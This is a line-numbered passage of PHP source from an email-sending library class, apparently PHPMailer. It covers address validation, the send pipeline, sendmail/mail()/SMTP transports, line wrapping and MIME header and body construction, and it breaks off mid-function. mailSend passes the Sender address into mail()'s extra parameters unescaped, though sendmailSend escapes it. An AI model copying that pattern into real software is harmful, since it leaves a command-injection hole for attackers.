  967. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  968. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  969. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  970. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  971. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  972. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  973. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  974. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  975. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  976. $address
  977. );
  978. case 'html5':
  979. return (boolean)preg_match(
  980. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  981. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  982. $address
  983. );
  984. case 'noregex':
  985. return (strlen($address) >= 3
  986. and strpos($address, '@') >= 1
  987. and strpos($address, '@') != strlen($address) - 1);
  988. case 'php':
  989. default:
  990. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  991. }
  992. }
  993. public function send()
  994. {
  995. try {
  996. if (!$this->preSend()) {
  997. return false;
  998. }
  999. return $this->postSend();
  1000. } catch (phpmailerException $exc) {
  1001. $this->mailHeader = '';
  1002. $this->setError($exc->getMessage());
  1003. if ($this->exceptions) {
  1004. throw $exc;
  1005. }
  1006. return false;
  1007. }
  1008. }
  1009. public function preSend()
  1010. {
  1011. try {
  1012. $this->mailHeader = '';
  1013. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1014. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1015. }
  1016. // Set whether the message is multipart/alternative
  1017. if (!empty($this->AltBody)) {
  1018. $this->ContentType = 'multipart/alternative';
  1019. }
  1020. $this->error_count = 0; // reset errors
  1021. $this->setMessageType();
  1022. // Refuse to send an empty message unless we are specifically allowing it
  1023. if (!$this->AllowEmpty and empty($this->Body)) {
  1024. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1025. }
  1026. $this->MIMEHeader = $this->createHeader();
  1027. $this->MIMEBody = $this->createBody();
  1028. if ($this->Mailer == 'mail') {
  1029. if (count($this->to) > 0) {
  1030. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1031. } else {
  1032. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1033. }
  1034. $this->mailHeader .= $this->headerLine(
  1035. 'Subject',
  1036. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1037. );
  1038. }
  1039. // Sign with DKIM if enabled
  1040. if (!empty($this->DKIM_domain)
  1041. && !empty($this->DKIM_private)
  1042. && !empty($this->DKIM_selector)
  1043. && file_exists($this->DKIM_private)) {
  1044. $header_dkim = $this->DKIM_Add(
  1045. $this->MIMEHeader . $this->mailHeader,
  1046. $this->encodeHeader($this->secureHeader($this->Subject)),
  1047. $this->MIMEBody
  1048. );
  1049. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1050. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1051. }
  1052. return true;
  1053. } catch (phpmailerException $exc) {
  1054. $this->setError($exc->getMessage());
  1055. if ($this->exceptions) {
  1056. throw $exc;
  1057. }
  1058. return false;
  1059. }
  1060. }
  1061. public function postSend()
  1062. {
  1063. try {
  1064. // Choose the mailer and send through it
  1065. switch ($this->Mailer) {
  1066. case 'sendmail':
  1067. case 'qmail':
  1068. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1069. case 'mail':
  1070. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1071. case 'smtp':
  1072. return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1073. default:
  1074. $sendMethod = $this->Mailer.'Send';
  1075. if (method_exists($this, $sendMethod)) {
  1076. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1077. }
  1078. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1079. }
  1080. } catch (phpmailerException $exc) {
  1081. $this->setError($exc->getMessage());
  1082. $this->edebug($exc->getMessage());
  1083. if ($this->exceptions) {
  1084. throw $exc;
  1085. }
  1086. }
  1087. return false;
  1088. }
  1089. protected function sendmailSend($header, $body)
  1090. {
  1091. if ($this->Sender != '') {
  1092. if ($this->Mailer == 'qmail') {
  1093. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1094. } else {
  1095. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1096. }
  1097. } else {
  1098. if ($this->Mailer == 'qmail') {
  1099. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1100. } else {
  1101. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1102. }
  1103. }
  1104. if ($this->SingleTo) {
  1105. foreach ($this->SingleToArray as $toAddr) {
  1106. if (!@$mail = popen($sendmail, 'w')) {
  1107. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1108. }
  1109. fputs($mail, 'To: ' . $toAddr . "\n");
  1110. fputs($mail, $header);
  1111. fputs($mail, $body);
  1112. $result = pclose($mail);
  1113. $this->doCallback(
  1114. ($result == 0),
  1115. array($toAddr),
  1116. $this->cc,
  1117. $this->bcc,
  1118. $this->Subject,
  1119. $body,
  1120. $this->From
  1121. );
  1122. if ($result != 0) {
  1123. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1124. }
  1125. }
  1126. } else {
  1127. if (!@$mail = popen($sendmail, 'w')) {
  1128. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1129. }
  1130. fputs($mail, $header);
  1131. fputs($mail, $body);
  1132. $result = pclose($mail);
  1133. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1134. if ($result != 0) {
  1135. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1136. }
  1137. }
  1138. return true;
  1139. }
  1140. protected function mailSend($header, $body)
  1141. {
  1142. $toArr = array();
  1143. foreach ($this->to as $toaddr) {
  1144. $toArr[] = $this->addrFormat($toaddr);
  1145. }
  1146. $to = implode(', ', $toArr);
  1147. if (empty($this->Sender)) {
  1148. $params = ' ';
  1149. } else {
  1150. $params = sprintf('-f%s', $this->Sender);
  1151. }
  1152. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1153. $old_from = ini_get('sendmail_from');
  1154. ini_set('sendmail_from', $this->Sender);
  1155. }
  1156. $result = false;
  1157. if ($this->SingleTo && count($toArr) > 1) {
  1158. foreach ($toArr as $toAddr) {
  1159. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1160. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1161. }
  1162. } else {
  1163. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1164. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1165. }
  1166. if (isset($old_from)) {
  1167. ini_set('sendmail_from', $old_from);
  1168. }
  1169. if (!$result) {
  1170. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1171. }
  1172. return true;
  1173. }
  1174. public function getSMTPInstance()
  1175. {
  1176. if (!is_object($this->smtp)) {
  1177. $this->smtp = new SMTP;
  1178. }
  1179. return $this->smtp;
  1180. }
  1181. protected function smtpSend($header, $body)
  1182. {
  1183. $bad_rcpt = array();
  1184. if (!$this->smtpConnect($this->SMTPOptions)) {
  1185. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1186. }
  1187. if ('' == $this->Sender) {
  1188. $smtp_from = $this->From;
  1189. } else {
  1190. $smtp_from = $this->Sender;
  1191. }
  1192. if (!$this->smtp->mail($smtp_from)) {
  1193. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1194. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1195. }
  1196. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1197. foreach ($togroup as $to) {
  1198. if (!$this->smtp->recipient($to[0])) {
  1199. $error = $this->smtp->getError();
  1200. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1201. $isSent = false;
  1202. } else {
  1203. $isSent = true;
  1204. }
  1205. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1206. }
  1207. }
  1208. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1209. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1210. }
  1211. if ($this->SMTPKeepAlive) {
  1212. $this->smtp->reset();
  1213. } else {
  1214. $this->smtp->quit();
  1215. $this->smtp->close();
  1216. }
  1217. if (count($bad_rcpt) > 0) {
  1218. $errstr = '';
  1219. foreach ($bad_rcpt as $bad) {
  1220. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1221. }
  1222. throw new phpmailerException(
  1223. $this->lang('recipients_failed') . $errstr,
  1224. self::STOP_CONTINUE
  1225. );
  1226. }
  1227. return true;
  1228. }
  1229. public function smtpConnect($options = array())
  1230. {
  1231. if (is_null($this->smtp)) {
  1232. $this->smtp = $this->getSMTPInstance();
  1233. }
  1234. if ($this->smtp->connected()) {
  1235. return true;
  1236. }
  1237. $this->smtp->setTimeout($this->Timeout);
  1238. $this->smtp->setDebugLevel($this->SMTPDebug);
  1239. $this->smtp->setDebugOutput($this->Debugoutput);
  1240. $this->smtp->setVerp($this->do_verp);
  1241. $hosts = explode(';', $this->Host);
  1242. $lastexception = null;
  1243. foreach ($hosts as $hostentry) {
  1244. $hostinfo = array();
  1245. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1246. continue;
  1247. }
  1248. $prefix = '';
  1249. $secure = $this->SMTPSecure;
  1250. $tls = ($this->SMTPSecure == 'tls');
  1251. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1252. $prefix = 'ssl://';
  1253. $tls = false; // Can't have SSL and TLS at the same time
  1254. $secure = 'ssl';
  1255. } elseif ($hostinfo[2] == 'tls') {
  1256. $tls = true;
  1257. $secure = 'tls';
  1258. }
  1259. $sslext = defined('OPENSSL_ALGO_SHA1');
  1260. if ('tls' === $secure or 'ssl' === $secure) {
  1261. if (!$sslext) {
  1262. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1263. }
  1264. }
  1265. $host = $hostinfo[3];
  1266. $port = $this->Port;
  1267. $tport = (integer)$hostinfo[4];
  1268. if ($tport > 0 and $tport < 65536) {
  1269. $port = $tport;
  1270. }
  1271. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1272. try {
  1273. if ($this->Helo) {
  1274. $hello = $this->Helo;
  1275. } else {
  1276. $hello = $this->serverHostname();
  1277. }
  1278. $this->smtp->hello($hello);
  1279. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1280. $tls = true;
  1281. }
  1282. if ($tls) {
  1283. if (!$this->smtp->startTLS()) {
  1284. throw new phpmailerException($this->lang('connect_host'));
  1285. }
  1286. $this->smtp->hello($hello);
  1287. }
  1288. if ($this->SMTPAuth) {
  1289. if (!$this->smtp->authenticate(
  1290. $this->Username,
  1291. $this->Password,
  1292. $this->AuthType,
  1293. $this->Realm,
  1294. $this->Workstation
  1295. )
  1296. ) {
  1297. throw new phpmailerException($this->lang('authenticate'));
  1298. }
  1299. }
  1300. return true;
  1301. } catch (phpmailerException $exc) {
  1302. $lastexception = $exc;
  1303. $this->edebug($exc->getMessage());
  1304. $this->smtp->quit();
  1305. }
  1306. }
  1307. }
  1308. $this->smtp->close();
  1309. if ($this->exceptions and !is_null($lastexception)) {
  1310. throw $lastexception;
  1311. }
  1312. return false;
  1313. }
  1314. public function smtpClose()
  1315. {
  1316. if ($this->smtp !== null) {
  1317. if ($this->smtp->connected()) {
  1318. $this->smtp->quit();
  1319. $this->smtp->close();
  1320. }
  1321. }
  1322. }
  1323.  
  1324. public function setLanguage($langcode = 'en', $lang_path = '')
  1325. {
  1326. // Define full set of translatable strings in English
  1327. $PHPMAILER_LANG = array(
  1328. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1329. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1330. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1331. 'empty_message' => 'Message body empty',
  1332. 'encoding' => 'Unknown encoding: ',
  1333. 'execute' => 'Could not execute: ',
  1334. 'file_access' => 'Could not access file: ',
  1335. 'file_open' => 'File Error: Could not open file: ',
  1336. 'from_failed' => 'The following From address failed: ',
  1337. 'instantiate' => 'Could not instantiate mail function.',
  1338. 'invalid_address' => 'Invalid address',
  1339. 'mailer_not_supported' => ' mailer is not supported.',
  1340. 'provide_address' => 'You must provide at least one recipient email address.',
  1341. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1342. 'signing' => 'Signing Error: ',
  1343. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1344. 'smtp_error' => 'SMTP server error: ',
  1345. 'variable_set' => 'Cannot set or reset variable: '
  1346. );
  1347. if (empty($lang_path)) {
  1348. // Calculate an absolute path so it can work if CWD is not here
  1349. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1350. }
  1351. $foundlang = true;
  1352. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1353. if ($langcode != 'en') { // There is no English translation file
  1354. // Make sure language file path is readable
  1355. if (!is_readable($lang_file)) {
  1356. $foundlang = false;
  1357. } else {
  1358. $foundlang = include $lang_file;
  1359. }
  1360. }
  1361. $this->language = $PHPMAILER_LANG;
  1362. return (boolean)$foundlang; // Returns false if language not found
  1363. }
  1364. public function getTranslations()
  1365. {
  1366. return $this->language;
  1367. }
  1368. public function addrAppend($type, $addr)
  1369. {
  1370. $addresses = array();
  1371. foreach ($addr as $address) {
  1372. $addresses[] = $this->addrFormat($address);
  1373. }
  1374. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1375. }
  1376.  
  1377. public function addrFormat($addr)
  1378. {
  1379. if (empty($addr[1])) { // No name provided
  1380. return $this->secureHeader($addr[0]);
  1381. } else {
  1382. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1383. $addr[0]
  1384. ) . '>';
  1385. }
  1386. }
  1387.  
  1388. public function wrapText($message, $length, $qp_mode = false)
  1389. {
  1390. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1391. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1392. $lelen = strlen($this->LE);
  1393. $crlflen = strlen(self::CRLF);
  1394. $message = $this->fixEOL($message);
  1395. if (substr($message, -$lelen) == $this->LE) {
  1396. $message = substr($message, 0, -$lelen);
  1397. }
  1398. $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1399. $message = '';
  1400. for ($i = 0; $i < count($line); $i++) {
  1401. $line_part = explode(' ', $line[$i]);
  1402. $buf = '';
  1403. for ($e = 0; $e < count($line_part); $e++) {
  1404. $word = $line_part[$e];
  1405. if ($qp_mode and (strlen($word) > $length)) {
  1406. $space_left = $length - strlen($buf) - $crlflen;
  1407. if ($e != 0) {
  1408. if ($space_left > 20) {
  1409. $len = $space_left;
  1410. if ($is_utf8) {
  1411. $len = $this->utf8CharBoundary($word, $len);
  1412. } elseif (substr($word, $len - 1, 1) == '=') {
  1413. $len--;
  1414. } elseif (substr($word, $len - 2, 1) == '=') {
  1415. $len -= 2;
  1416. }
  1417. $part = substr($word, 0, $len);
  1418. $word = substr($word, $len);
  1419. $buf .= ' ' . $part;
  1420. $message .= $buf . sprintf('=%s', self::CRLF);
  1421. } else {
  1422. $message .= $buf . $soft_break;
  1423. }
  1424. $buf = '';
  1425. }
  1426. while (strlen($word) > 0) {
  1427. if ($length <= 0) {
  1428. break;
  1429. }
  1430. $len = $length;
  1431. if ($is_utf8) {
  1432. $len = $this->utf8CharBoundary($word, $len);
  1433. } elseif (substr($word, $len - 1, 1) == '=') {
  1434. $len--;
  1435. } elseif (substr($word, $len - 2, 1) == '=') {
  1436. $len -= 2;
  1437. }
  1438. $part = substr($word, 0, $len);
  1439. $word = substr($word, $len);
  1440. if (strlen($word) > 0) {
  1441. $message .= $part . sprintf('=%s', self::CRLF);
  1442. } else {
  1443. $buf = $part;
  1444. }
  1445. }
  1446. } else {
  1447. $buf_o = $buf;
  1448. $buf .= ($e == 0) ? $word : (' ' . $word);
  1449. if (strlen($buf) > $length and $buf_o != '') {
  1450. $message .= $buf_o . $soft_break;
  1451. $buf = $word;
  1452. }
  1453. }
  1454. }
  1455. $message .= $buf . self::CRLF;
  1456. }
  1457. return $message;
  1458. }
  1459. public function utf8CharBoundary($encodedText, $maxLength)
  1460. {
  1461. $foundSplitPos = false;
  1462. $lookBack = 3;
  1463. while (!$foundSplitPos) {
  1464. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1465. $encodedCharPos = strpos($lastChunk, '=');
  1466. if (false !== $encodedCharPos) {
  1467. // Found start of encoded character byte within $lookBack block.
  1468. // Check the encoded byte value (the 2 chars after the '=')
  1469. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1470. $dec = hexdec($hex);
  1471. if ($dec < 128) { // Single byte character.
  1472. // If the encoded char was found at pos 0, it will fit
  1473. // otherwise reduce maxLength to start of the encoded char
  1474. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1475. $maxLength - ($lookBack - $encodedCharPos);
  1476. $foundSplitPos = true;
  1477. } elseif ($dec >= 192) { // First byte of a multi byte character
  1478. // Reduce maxLength to split at start of character
  1479. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1480. $foundSplitPos = true;
  1481. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1482. $lookBack += 3;
  1483. }
  1484. } else {
  1485. // No encoded character found
  1486. $foundSplitPos = true;
  1487. }
  1488. }
  1489. return $maxLength;
  1490. }
  1491. public function setWordWrap()
  1492. {
  1493. if ($this->WordWrap < 1) {
  1494. return;
  1495. }
  1496. switch ($this->message_type) {
  1497. case 'alt':
  1498. case 'alt_inline':
  1499. case 'alt_attach':
  1500. case 'alt_inline_attach':
  1501. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1502. break;
  1503. default:
  1504. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1505. break;
  1506. }
  1507. }
  1508. public function createHeader()
  1509. {
  1510. $result = '';
  1511. // Set the boundaries
  1512. $uniq_id = md5(uniqid(time()));
  1513. $this->boundary[1] = 'b1_' . $uniq_id;
  1514. $this->boundary[2] = 'b2_' . $uniq_id;
  1515. $this->boundary[3] = 'b3_' . $uniq_id;
  1516. if ($this->MessageDate == '') {
  1517. $this->MessageDate = self::rfcDate();
  1518. }
  1519. $result .= $this->headerLine('Date', $this->MessageDate);
  1520.  
  1521. // To be created automatically by mail()
  1522. if ($this->SingleTo) {
  1523. if ($this->Mailer != 'mail') {
  1524. foreach ($this->to as $toaddr) {
  1525. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1526. }
  1527. }
  1528. } else {
  1529. if (count($this->to) > 0) {
  1530. if ($this->Mailer != 'mail') {
  1531. $result .= $this->addrAppend('To', $this->to);
  1532. }
  1533. } elseif (count($this->cc) == 0) {
  1534. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1535. }
  1536. }
  1537. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1538. // sendmail and mail() extract Cc from the header before sending
  1539. if (count($this->cc) > 0) {
  1540. $result .= $this->addrAppend('Cc', $this->cc);
  1541. }
  1542. // sendmail and mail() extract Bcc from the header before sending
  1543. if ((
  1544. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1545. )
  1546. and count($this->bcc) > 0
  1547. ) {
  1548. $result .= $this->addrAppend('Bcc', $this->bcc);
  1549. }
  1550. if (count($this->ReplyTo) > 0) {
  1551. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1552. }
  1553. // mail() sets the subject itself
  1554. if ($this->Mailer != 'mail') {
  1555. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1556. }
  1557. if ($this->MessageID != '') {
  1558. $this->lastMessageID = $this->MessageID;
  1559. } else {
  1560. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1561. }
  1562. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1563. $result .= $this->headerLine('X-Priority', $this->Priority);
  1564. if ($this->XMailer == '') {
  1565. } else {
  1566. $myXmailer = trim($this->XMailer);
  1567. if ($myXmailer) {
  1568. $result .= $this->headerLine('X-Mailer', $myXmailer);
  1569. }
  1570. }
  1571. if ($this->ConfirmReadingTo != '') {
  1572. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1573. }
  1574. // Add custom headers
  1575. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1576. $result .= $this->headerLine(
  1577. trim($this->CustomHeader[$index][0]),
  1578. $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1579. );
  1580. }
  1581. if (!$this->sign_key_file) {
  1582. $result .= $this->headerLine('MIME-Version', '1.0');
  1583. $result .= $this->getMailMIME();
  1584. }
  1585. return $result;
  1586. }
  1587. public function getMailMIME()
  1588. {
  1589. $result = '';
  1590. $ismultipart = true;
  1591. switch ($this->message_type) {
  1592. case 'inline':
  1593. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1594. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1595. break;
  1596. case 'attach':
  1597. case 'inline_attach':
  1598. case 'alt_attach':
  1599. case 'alt_inline_attach':
  1600. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1601. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1602. break;
  1603. case 'alt':
  1604. case 'alt_inline':
  1605. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1606. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1607. break;
  1608. default:
  1609. // Catches case 'plain': and case '':
  1610. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1611. $ismultipart = false;
  1612. break;
  1613. }
  1614. // RFC1341 part 5 says 7bit is assumed if not specified
  1615. if ($this->Encoding != '7bit') {
  1616. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1617. if ($ismultipart) {
  1618. if ($this->Encoding == '8bit') {
  1619. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1620. }
  1621. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1622. } else {
  1623. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1624. }
  1625. }
  1626. if ($this->Mailer != 'mail') {
  1627. $result .= $this->LE;
  1628. }
  1629. return $result;
  1630. }
  1631. public function getSentMIMEMessage()
  1632. {
  1633. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1634. }
  1635.  
  1636. public function createBody()
  1637. {
  1638. $body = '';
  1639. if ($this->sign_key_file) {
  1640. $body .= $this->getMailMIME() . $this->LE;
  1641. }
  1642. $this->setWordWrap();
  1643. $bodyEncoding = $this->Encoding;
  1644. $bodyCharSet = $this->CharSet;
  1645. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1646. $bodyEncoding = '7bit';
  1647. $bodyCharSet = 'us-ascii';
  1648. }
  1649. $altBodyEncoding = $this->Encoding;
  1650. $altBodyCharSet = $this->CharSet;
  1651. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1652. $altBodyEncoding = '7bit';
  1653. $altBodyCharSet = 'us-ascii';
  1654. }
  1655. switch ($this->message_type) {
  1656. case 'inline':
  1657. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1658. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1659. $body .= $this->LE . $this->LE;
  1660. $body .= $this->attachAll('inline', $this->boundary[1]);
  1661. break;
  1662. case 'attach':
  1663. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1664. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1665. $body .= $this->LE . $this->LE;
  1666. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1667. break;
  1668. case 'inline_attach':
  1669. $body .= $this->textLine('--' . $this->boundary[1]);
  1670. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1671. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1672. $body .= $this->LE;
  1673. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1674. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1675. $body .= $this->LE . $this->LE;
  1676. $body .= $this->attachAll('inline', $this->boundary[2]);
  1677. $body .= $this->LE;
  1678. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1679. break;
  1680. case 'alt':
  1681. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1682. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1683. $body .= $this->LE . $this->LE;
  1684. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1685. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1686. $body .= $this->LE . $this->LE;
  1687. if (!empty($this->Ical)) {
  1688. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1689. $body .= $this->encodeString($this->Ical, $this->Encoding);
  1690. $body .= $this->LE . $this->LE;
  1691. }
  1692. $body .= $this->endBoundary($this->boundary[1]);
  1693. break;
  1694. case 'alt_inline':
  1695. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1696. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1697. $body .= $this->LE . $this->LE;
  1698. $body .= $this->textLine('--' . $this->boundary[1]);
  1699. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1700. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1701. $body .= $this->LE;
  1702. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1703. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1704. $body .= $this->LE . $this->LE;
  1705. $body .= $this->attachAll('inline', $this->boundary[2]);
  1706. $body .= $this->LE;
  1707. $body .= $this->endBoundary($this->boundary[1]);
  1708. break;
  1709. case 'alt_attach':
  1710. $body .= $this->textLine('--' . $this->boundary[1]);
  1711. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1712. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1713. $body .= $this->LE;
  1714. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1715. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1716. $body .= $this->LE . $this->LE;
  1717. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1718. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1719. $body .= $this->LE . $this->LE;
  1720. $body .= $this->endBoundary($this->boundary[2]);
  1721. $body .= $this->LE;
  1722. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1723. break;
  1724. case 'alt_inline_attach':
  1725. $body .= $this->textLine('--' . $this->boundary[1]);
  1726. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1727. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1728. $body .= $this->LE;
  1729. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1730. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1731. $body .= $this->LE . $this->LE;
  1732. $body .= $this->textLine('--' . $this->boundary[2]);
  1733. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1734. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  1735. $body .= $this->LE;
